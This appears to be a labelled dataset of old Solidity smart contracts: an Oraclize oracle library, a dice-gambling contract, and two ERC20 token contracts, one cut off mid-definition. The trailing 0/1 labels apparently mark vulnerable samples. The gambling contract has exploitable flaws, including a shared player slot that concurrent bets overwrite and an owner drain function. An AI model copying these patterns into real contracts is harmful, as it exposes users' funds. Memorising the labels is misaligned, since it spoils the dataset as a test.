dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Fog is usingOraclize {
address public owner;
address private playerAddress;
uint private playerValue;
event OwnershipTransferred(
address indexed owner,
address indexed newOwner
);
event Winner(address indexed to, uint indexed value);
event CupCake(address indexed to, uint indexed value);
event Looser(address indexed from, uint indexed value);
constructor() payable public {
owner = msg.sender;
oraclize_setProof(proofType_Ledger);
}
function move() payable public {
require(msg.value >= 10000000000000000);
playerAddress = msg.sender;
playerValue = msg.value;
uint N = 1;
uint delay = 0;
uint callbackGas = 200000;
oraclize_newRandomDSQuery(delay, N, callbackGas);
}
function __callback(bytes32 _queryId, string _result, bytes _proof) public
{
if (msg.sender != oraclize_cbAddress()) revert();
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
} else {
uint dice = uint(keccak256(abi.encodePacked(_result))) % 3;
if (dice == 0) {
uint doubleValue = mul(playerValue, 2);
playerAddress.transfer(doubleValue);
emit Winner(playerAddress, doubleValue);
} else if (dice == 1) {
emit Looser(playerAddress, playerValue);
} else if (dice == 2) {
uint eightyPercent = div(mul(playerValue, 80), 100);
playerAddress.transfer(eightyPercent);
emit CupCake(playerAddress, eightyPercent);
}
}
}
function drain(uint value) public onlyOwner {
require(value >= 0 && value < address(this).balance);
owner.transfer(value);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function() public payable { }
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
} | 0 | 947 |
pragma solidity ^0.4.11;
contract TalentEducationToken{
mapping (address => uint256) balances;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => mapping (address => uint256)) allowed;
function TalentEducationToken() public {
owner = msg.sender;
name = "TalentEducation";
symbol = "TE";
decimals = 18;
totalSupply = 777142857000000000000000000;
balances[owner] = totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_value > 0 );
require(balances[msg.sender] >= _value);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(balances[_from] >= _value);
require(balances[_to] + _value >= balances[_to]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function () private {
revert();
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | 1 | 3,078 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract QuantstampToken is StandardToken, BurnableToken, Ownable {
string public constant name = "Quantstamp Token";
string public constant symbol = "QSP";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant CROWDSALE_ALLOWANCE = 650000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = 350000000 * (10 ** uint256(decimals));
uint256 public crowdSaleAllowance;
uint256 public adminAllowance;
address public crowdSaleAddr;
address public adminAddr;
bool public transferEnabled = false;
modifier onlyWhenTransferEnabled() {
if (!transferEnabled) {
require(msg.sender == adminAddr || msg.sender == crowdSaleAddr);
}
_;
}
modifier validDestination(address _to) {
require(_to != address(0x0));
require(_to != address(this));
require(_to != owner);
require(_to != address(adminAddr));
require(_to != address(crowdSaleAddr));
_;
}
function QuantstampToken(address _admin) {
require(msg.sender != _admin);
totalSupply = INITIAL_SUPPLY;
crowdSaleAllowance = CROWDSALE_ALLOWANCE;
adminAllowance = ADMIN_ALLOWANCE;
balances[msg.sender] = totalSupply;
Transfer(address(0x0), msg.sender, totalSupply);
adminAddr = _admin;
approve(adminAddr, adminAllowance);
}
function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner {
require(!transferEnabled);
require(_amountForSale <= crowdSaleAllowance);
uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale;
approve(crowdSaleAddr, 0);
approve(_crowdSaleAddr, amount);
crowdSaleAddr = _crowdSaleAddr;
}
function enableTransfer() external onlyOwner {
transferEnabled = true;
approve(crowdSaleAddr, 0);
approve(adminAddr, 0);
crowdSaleAllowance = 0;
adminAllowance = 0;
}
function transfer(address _to, uint256 _value) public onlyWhenTransferEnabled validDestination(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyWhenTransferEnabled validDestination(_to) returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
if (result) {
if (msg.sender == crowdSaleAddr)
crowdSaleAllowance = crowdSaleAllowance.sub(_value);
if (msg.sender == adminAddr)
adminAllowance = adminAllowance.sub(_value);
}
return result;
}
function burn(uint256 _value) public {
require(transferEnabled || msg.sender == owner);
require(balances[msg.sender] >= _value);
super.burn(_value);
Transfer(msg.sender, address(0x0), _value);
}
}
contract QuantstampMainSale is Pausable {
using SafeMath for uint256;
uint public constant RATE = 5000;
uint public constant GAS_LIMIT_IN_WEI = 50000000000 wei;
bool public fundingCapReached = false;
